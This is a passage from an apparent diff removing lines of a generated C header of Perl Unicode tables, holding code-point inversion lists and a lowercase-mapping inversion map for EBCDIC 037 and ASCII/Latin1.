- 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C1, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F0, - 0x13F6, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB8, - 0x1FBA, - 0x1FBC, - 0x1FBD, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD8, - 0x1FDA, - 0x1FDC, - 0x1FE8, - 0x1FEA, - 0x1FEC, - 0x1FED, - 0x1FF8, - 0x1FFA, - 0x1FFC, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212B, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C63, - 0x2C64, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C6E, - 0x2C6F, - 0x2C70, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C80, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77E, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AB, - 0xA7AC, - 0xA7AD, - 0xA7AE, - 0xA7AF, - 0xA7B0, - 0xA7B1, - 0xA7B2, - 0xA7B3, - 0xA7B4, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - LC_0 = 0, - LC_use_AUX_TABLE_1 = -1 -} LC_enum; - -#define HAS_LC_AUX_TABLES - -static const unsigned int LC_AUX_TABLE_1[] = { - 0x89, - 0x307 -}; - -static const unsigned int * const LC_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - LC_AUX_TABLE_1 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 LC_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* LC_AUX_TABLE_1 */ -}; - -static const int Lowercase_Mapping_invmap[] = { /* for EBCDIC 037 */ - 0, - 0x42, - 0, - 0x51, - 0, - 0x70, - 0, - 0x9C, - 0, - 0x8C, - 0, - 0x81, - 0, - 0x91, - 0, - 0xA2, - 0, - 0xCB, - 0, - 0xDB, - 0, - 0x101, - 0, - 0x103, - 0, - 0x105, - 0, - 0x107, - 0, - 0x109, - 0, - 0x10B, - 0, - 0x10D, - 0, - 0x10F, - 0, - 0x111, - 0, - 0x113, - 0, - 0x115, - 0, - 0x117, - 0, - 0x119, - 0, - 0x11B, - 0, - 0x11D, - 0, - 0x11F, - 0, - 0x121, - 0, - 0x123, - 0, - 0x125, - 0, - 0x127, - 0, - 0x129, - 0, - 0x12B, - 0, - 0x12D, - 0, - 0x12F, - 0, - LC_use_AUX_TABLE_1, - 0, - 0x133, - 0, - 0x135, - 0, - 0x137, - 0, - 0x13A, - 0, - 0x13C, - 0, - 0x13E, - 0, - 0x140, - 0, - 0x142, - 0, - 0x144, - 0, - 0x146, - 0, - 0x148, - 0, - 0x14B, - 0, - 0x14D, - 0, - 0x14F, - 0, - 0x151, - 0, - 0x153, - 0, - 0x155, - 0, - 0x157, - 0, - 0x159, - 0, - 0x15B, - 0, - 0x15D, - 0, - 0x15F, - 0, - 0x161, - 0, - 0x163, - 0, - 0x165, - 0, - 0x167, - 0, - 0x169, - 0, - 0x16B, - 0, - 0x16D, - 0, - 0x16F, - 0, - 0x171, - 0, - 0x173, - 0, - 0x175, - 0, - 0x177, - 0, - 0xDF, - 0x17A, - 0, - 0x17C, - 0, - 0x17E, - 0, - 0x253, - 0x183, - 0, - 0x185, - 0, - 0x254, - 0x188, - 0, - 0x256, - 0x18C, - 0, - 0x1DD, - 0x259, - 0x25B, - 0x192, - 0, - 0x260, - 0x263, - 0, - 0x269, - 0x268, - 0x199, - 0, - 0x26F, - 0x272, - 0, - 0x275, - 0x1A1, - 0, - 0x1A3, - 0, - 0x1A5, - 0, - 0x280, - 0x1A8, - 0, - 0x283, - 0, - 0x1AD, - 0, - 0x288, - 0x1B0, - 0, - 0x28A, - 0x1B4, - 0, - 0x1B6, - 0, - 0x292, - 0x1B9, - 0, - 0x1BD, - 0, - 0x1C6, - 0x1C6, - 0, - 0x1C9, - 0x1C9, - 0, - 0x1CC, - 0x1CC, - 0, - 0x1CE, - 0, - 0x1D0, - 0, - 0x1D2, - 0, - 0x1D4, - 0, - 0x1D6, - 0, - 0x1D8, - 0, - 0x1DA, - 0, - 0x1DC, - 0, - 0x1DF, - 0, - 0x1E1, - 0, - 0x1E3, - 0, - 0x1E5, - 0, - 0x1E7, - 0, - 0x1E9, - 0, - 0x1EB, - 0, - 0x1ED, - 0, - 0x1EF, - 0, - 0x1F3, - 0x1F3, - 0, - 0x1F5, - 0, - 0x195, - 0x1BF, - 0x1F9, - 0, - 0x1FB, - 0, - 0x1FD, - 0, - 0x1FF, - 0, - 0x201, - 0, - 0x203, - 0, - 0x205, - 0, - 0x207, - 0, - 0x209, - 0, - 0x20B, - 0, - 0x20D, - 0, - 0x20F, - 0, - 0x211, - 0, - 0x213, - 0, - 0x215, - 0, - 0x217, - 0, - 0x219, - 0, - 0x21B, - 0, - 0x21D, - 0, - 0x21F, - 0, - 0x19E, - 0, - 0x223, - 0, - 0x225, - 0, - 0x227, - 0, - 0x229, - 0, - 0x22B, - 0, - 0x22D, - 0, - 0x22F, - 0, - 0x231, - 0, - 0x233, - 0, - 0x2C65, - 0x23C, - 0, - 0x19A, - 0x2C66, - 0, - 0x242, - 0, - 0x180, - 0x289, - 0x28C, - 0x247, - 0, - 0x249, - 0, - 0x24B, - 0, - 0x24D, - 0, - 0x24F, - 0, - 0x371, - 0, - 0x373, - 0, - 0x377, - 0, - 0x3F3, - 0, - 0x3AC, - 0, - 0x3AD, - 0, - 0x3CC, - 0, - 0x3CD, - 0, - 0x3B1, - 0, - 0x3C3, - 0, - 0x3D7, - 0, - 0x3D9, - 0, - 0x3DB, - 0, - 0x3DD, - 0, - 0x3DF, - 0, - 0x3E1, - 0, - 0x3E3, - 0, - 0x3E5, - 0, - 0x3E7, - 0, - 0x3E9, - 0, - 0x3EB, - 0, - 0x3ED, - 0, - 0x3EF, - 0, - 0x3B8, - 0, - 0x3F8, - 0, - 0x3F2, - 0x3FB, - 0, - 0x37B, - 0x450, - 0x430, - 0, - 0x461, - 0, - 0x463, - 0, - 0x465, - 0, - 0x467, - 0, - 0x469, - 0, - 0x46B, - 0, - 0x46D, - 0, - 0x46F, - 0, - 0x471, - 0, - 0x473, - 0, - 0x475, - 0, - 0x477, - 0, - 0x479, - 0, - 0x47B, - 0, - 0x47D, - 0, - 0x47F, - 0, - 0x481, - 0, - 0x48B, - 0, - 0x48D, - 0, - 0x48F, - 0, - 0x491, - 0, - 0x493, - 0, - 0x495, - 0, - 0x497, - 0, - 0x499, - 0, - 0x49B, - 0, - 0x49D, - 0, - 0x49F, - 0, - 0x4A1, - 0, - 0x4A3, - 0, - 0x4A5, - 0, - 0x4A7, - 0, - 0x4A9, - 0, - 0x4AB, - 0, - 0x4AD, - 0, - 0x4AF, - 0, - 0x4B1, - 0, - 0x4B3, - 0, - 0x4B5, - 0, - 0x4B7, - 0, - 0x4B9, - 0, - 0x4BB, - 0, - 0x4BD, - 0, - 0x4BF, - 0, - 0x4CF, - 0x4C2, - 0, - 0x4C4, - 0, - 0x4C6, - 0, - 0x4C8, - 0, - 0x4CA, - 0, - 0x4CC, - 0, - 0x4CE, - 0, - 0x4D1, - 0, - 0x4D3, - 0, - 0x4D5, - 0, - 0x4D7, - 0, - 0x4D9, - 0, - 0x4DB, - 0, - 0x4DD, - 0, - 0x4DF, - 0, - 0x4E1, - 0, - 0x4E3, - 0, - 0x4E5, - 0, - 0x4E7, - 0, - 0x4E9, - 0, - 0x4EB, - 0, - 0x4ED, - 0, - 0x4EF, - 0, - 0x4F1, - 0, - 0x4F3, - 0, - 0x4F5, - 0, - 0x4F7, - 0, - 0x4F9, - 0, - 0x4FB, - 0, - 0x4FD, - 0, - 0x4FF, - 0, - 0x501, - 0, - 0x503, - 0, - 0x505, - 0, - 0x507, - 0, - 0x509, - 0, - 0x50B, - 0, - 0x50D, - 0, - 0x50F, - 0, - 0x511, - 0, - 0x513, - 0, - 0x515, - 0, - 0x517, - 0, - 0x519, - 0, - 0x51B, - 0, - 0x51D, - 0, - 0x51F, - 0, - 0x521, - 0, - 0x523, - 0, - 0x525, - 0, - 0x527, - 0, - 0x529, - 0, - 0x52B, - 0, - 0x52D, - 0, - 0x52F, - 0, - 0x561, - 0, - 0x2D00, - 0, - 0x2D27, - 0, - 0x2D2D, - 0, - 0xAB70, - 0x13F8, - 0, - 0x1E01, - 0, - 0x1E03, - 0, - 0x1E05, - 0, - 0x1E07, - 0, - 0x1E09, - 0, - 0x1E0B, - 0, - 0x1E0D, - 0, - 0x1E0F, - 0, - 0x1E11, - 0, - 0x1E13, - 0, - 0x1E15, - 0, - 0x1E17, - 0, - 0x1E19, - 0, - 0x1E1B, - 0, - 0x1E1D, - 0, - 0x1E1F, - 0, - 0x1E21, - 0, - 0x1E23, - 0, - 0x1E25, - 0, - 0x1E27, - 0, - 0x1E29, - 0, - 0x1E2B, - 0, - 0x1E2D, - 0, - 0x1E2F, - 0, - 0x1E31, - 0, - 0x1E33, - 0, - 0x1E35, - 0, - 0x1E37, - 0, - 0x1E39, - 0, - 0x1E3B, - 0, - 0x1E3D, - 0, - 0x1E3F, - 0, - 0x1E41, - 0, - 0x1E43, - 0, - 0x1E45, - 0, - 0x1E47, - 0, - 0x1E49, - 0, - 0x1E4B, - 0, - 0x1E4D, - 0, - 0x1E4F, - 0, - 0x1E51, - 0, - 0x1E53, - 0, - 0x1E55, - 0, - 0x1E57, - 0, - 0x1E59, - 0, - 0x1E5B, - 0, - 0x1E5D, - 0, - 0x1E5F, - 0, - 0x1E61, - 0, - 0x1E63, - 0, - 0x1E65, - 0, - 0x1E67, - 0, - 0x1E69, - 0, - 0x1E6B, - 0, - 0x1E6D, - 0, - 0x1E6F, - 0, - 0x1E71, - 0, - 0x1E73, - 0, - 0x1E75, - 0, - 0x1E77, - 0, - 0x1E79, - 0, - 0x1E7B, - 0, - 0x1E7D, - 0, - 0x1E7F, - 0, - 0x1E81, - 0, - 0x1E83, - 0, - 0x1E85, - 0, - 0x1E87, - 0, - 0x1E89, - 0, - 0x1E8B, - 0, - 0x1E8D, - 0, - 0x1E8F, - 0, - 0x1E91, - 0, - 0x1E93, - 0, - 0x1E95, - 0, - 0x59, - 0, - 0x1EA1, - 0, - 0x1EA3, - 0, - 0x1EA5, - 0, - 0x1EA7, - 0, - 0x1EA9, - 0, - 0x1EAB, - 0, - 0x1EAD, - 0, - 0x1EAF, - 0, - 0x1EB1, - 0, - 0x1EB3, - 0, - 0x1EB5, - 0, - 0x1EB7, - 0, - 0x1EB9, - 0, - 0x1EBB, - 0, - 0x1EBD, - 0, - 0x1EBF, - 0, - 0x1EC1, - 0, - 0x1EC3, - 0, - 0x1EC5, - 0, - 0x1EC7, - 0, - 0x1EC9, - 0, - 0x1ECB, - 0, - 0x1ECD, - 0, - 0x1ECF, - 0, - 0x1ED1, - 0, - 0x1ED3, - 0, - 0x1ED5, - 0, - 0x1ED7, - 0, - 0x1ED9, - 0, - 0x1EDB, - 0, - 0x1EDD, - 0, - 0x1EDF, - 0, - 0x1EE1, - 0, - 0x1EE3, - 0, - 0x1EE5, - 0, - 0x1EE7, - 0, - 0x1EE9, - 0, - 0x1EEB, - 0, - 0x1EED, - 0, - 0x1EEF, - 0, - 0x1EF1, - 0, - 0x1EF3, - 0, - 0x1EF5, - 0, - 0x1EF7, - 0, - 0x1EF9, - 0, - 0x1EFB, - 0, - 0x1EFD, - 0, - 0x1EFF, - 0, - 0x1F00, - 0, - 0x1F10, - 0, - 0x1F20, - 0, - 0x1F30, - 0, - 0x1F40, - 0, - 0x1F51, - 0, - 0x1F53, - 0, - 0x1F55, - 0, - 0x1F57, - 0, - 0x1F60, - 0, - 0x1F80, - 0, - 0x1F90, - 0, - 0x1FA0, - 0, - 0x1FB0, - 0x1F70, - 0x1FB3, - 0, - 0x1F72, - 0x1FC3, - 0, - 0x1FD0, - 0x1F76, - 0, - 0x1FE0, - 0x1F7A, - 0x1FE5, - 0, - 0x1F78, - 0x1F7C, - 0x1FF3, - 0, - 0x3C9, - 0, - 0x92, - 0x47, - 0, - 0x214E, - 0, - 0x2170, - 0, - 0x2184, - 0, - 0x24D0, - 0, - 0x2C30, - 0, - 0x2C61, - 0, - 0x26B, - 0x1D7D, - 0x27D, - 0, - 0x2C68, - 0, - 0x2C6A, - 0, - 0x2C6C, - 0, - 0x251, - 0x271, - 0x250, - 0x252, - 0, - 0x2C73, - 0, - 0x2C76, - 0, - 0x23F, - 0x2C81, - 0, - 0x2C83, - 0, - 0x2C85, - 0, - 0x2C87, - 0, - 0x2C89, - 0, - 0x2C8B, - 0, - 0x2C8D, - 0, - 0x2C8F, - 0, - 0x2C91, - 0, - 0x2C93, - 0, - 0x2C95, - 0, - 0x2C97, - 0, - 0x2C99, - 0, - 0x2C9B, - 0, - 0x2C9D, - 0, - 0x2C9F, - 0, - 0x2CA1, - 0, - 0x2CA3, - 0, - 0x2CA5, - 0, - 0x2CA7, - 0, - 0x2CA9, - 0, - 0x2CAB, - 0, - 0x2CAD, - 0, - 0x2CAF, - 0, - 0x2CB1, - 0, - 0x2CB3, - 0, - 0x2CB5, - 0, - 0x2CB7, - 0, - 0x2CB9, - 0, - 0x2CBB, - 0, - 0x2CBD, - 0, - 0x2CBF, - 0, - 0x2CC1, - 0, - 0x2CC3, - 0, - 0x2CC5, - 0, - 0x2CC7, - 0, - 0x2CC9, - 0, - 0x2CCB, - 0, - 0x2CCD, - 0, - 0x2CCF, - 0, - 0x2CD1, - 0, - 0x2CD3, - 0, - 0x2CD5, - 0, - 0x2CD7, - 0, - 0x2CD9, - 0, - 0x2CDB, - 0, - 0x2CDD, - 0, - 0x2CDF, - 0, - 0x2CE1, - 0, - 0x2CE3, - 0, - 0x2CEC, - 0, - 0x2CEE, - 0, - 0x2CF3, - 0, - 0xA641, - 0, - 0xA643, - 0, - 0xA645, - 0, - 0xA647, - 0, - 0xA649, - 0, - 0xA64B, - 0, - 0xA64D, - 0, - 0xA64F, - 0, - 0xA651, - 0, - 0xA653, - 0, - 0xA655, - 0, - 0xA657, - 0, - 0xA659, - 0, - 0xA65B, - 0, - 0xA65D, - 0, - 0xA65F, - 0, - 0xA661, - 0, - 0xA663, - 0, - 0xA665, - 0, - 0xA667, - 0, - 0xA669, - 0, - 0xA66B, - 0, - 0xA66D, - 0, - 0xA681, - 0, - 0xA683, - 0, - 0xA685, - 0, - 0xA687, - 0, - 0xA689, - 0, - 0xA68B, - 0, - 0xA68D, - 0, - 0xA68F, - 0, - 0xA691, - 0, - 0xA693, - 0, - 0xA695, - 0, - 0xA697, - 0, - 0xA699, - 0, - 0xA69B, - 0, - 0xA723, - 0, - 0xA725, - 0, - 0xA727, - 0, - 0xA729, - 0, - 0xA72B, - 0, - 0xA72D, - 0, - 0xA72F, - 0, - 0xA733, - 0, - 0xA735, - 0, - 0xA737, - 0, - 0xA739, - 0, - 0xA73B, - 0, - 0xA73D, - 0, - 0xA73F, - 0, - 0xA741, - 0, - 0xA743, - 0, - 0xA745, - 0, - 0xA747, - 0, - 0xA749, - 0, - 0xA74B, - 0, - 0xA74D, - 0, - 0xA74F, - 0, - 0xA751, - 0, - 0xA753, - 0, - 0xA755, - 0, - 0xA757, - 0, - 0xA759, - 0, - 0xA75B, - 0, - 0xA75D, - 0, - 0xA75F, - 0, - 0xA761, - 0, - 0xA763, - 0, - 0xA765, - 0, - 0xA767, - 0, - 0xA769, - 0, - 0xA76B, - 0, - 0xA76D, - 0, - 0xA76F, - 0, - 0xA77A, - 0, - 0xA77C, - 0, - 0x1D79, - 0xA77F, - 0, - 0xA781, - 0, - 0xA783, - 0, - 0xA785, - 0, - 0xA787, - 0, - 0xA78C, - 0, - 0x265, - 0, - 0xA791, - 0, - 0xA793, - 0, - 0xA797, - 0, - 0xA799, - 0, - 0xA79B, - 0, - 0xA79D, - 0, - 0xA79F, - 0, - 0xA7A1, - 0, - 0xA7A3, - 0, - 0xA7A5, - 0, - 0xA7A7, - 0, - 0xA7A9, - 0, - 0x266, - 0x25C, - 0x261, - 0x26C, - 0x26A, - 0, - 0x29E, - 0x287, - 0x29D, - 0xAB53, - 0xA7B5, - 0, - 0xA7B7, - 0, - 0xFF41, - 0, - 0x10428, - 0, - 0x104D8, - 0, - 0x10CC0, - 0, - 0x118C0, - 0, - 0x1E922, - 0 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV NonL1_Perl_Non_Final_Folds_invlist[] = { /* for ASCII/Latin1 */ - 45, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2BC, - 0x2BD, - 0x308, - 0x309, - 0x313, - 0x314, - 0x342, - 0x343, - 0x3AC, - 0x3AD, - 0x3AE, - 0x3AF, - 0x3B1, - 0x3B2, - 0x3B7, - 0x3B8, - 0x3B9, - 0x3BA, - 0x3C1, - 0x3C2, - 0x3C5, - 0x3C6, - 0x3C9, - 0x3CA, - 0x3CE, - 0x3CF, - 0x565, - 0x566, - 0x574, - 0x575, - 0x57E, - 0x57F, - 0x1F00, - 0x1F08, - 0x1F20, - 0x1F28, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F71, - 0x1F74, - 0x1F75, - 0x1F7C, - 0x1F7D -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ 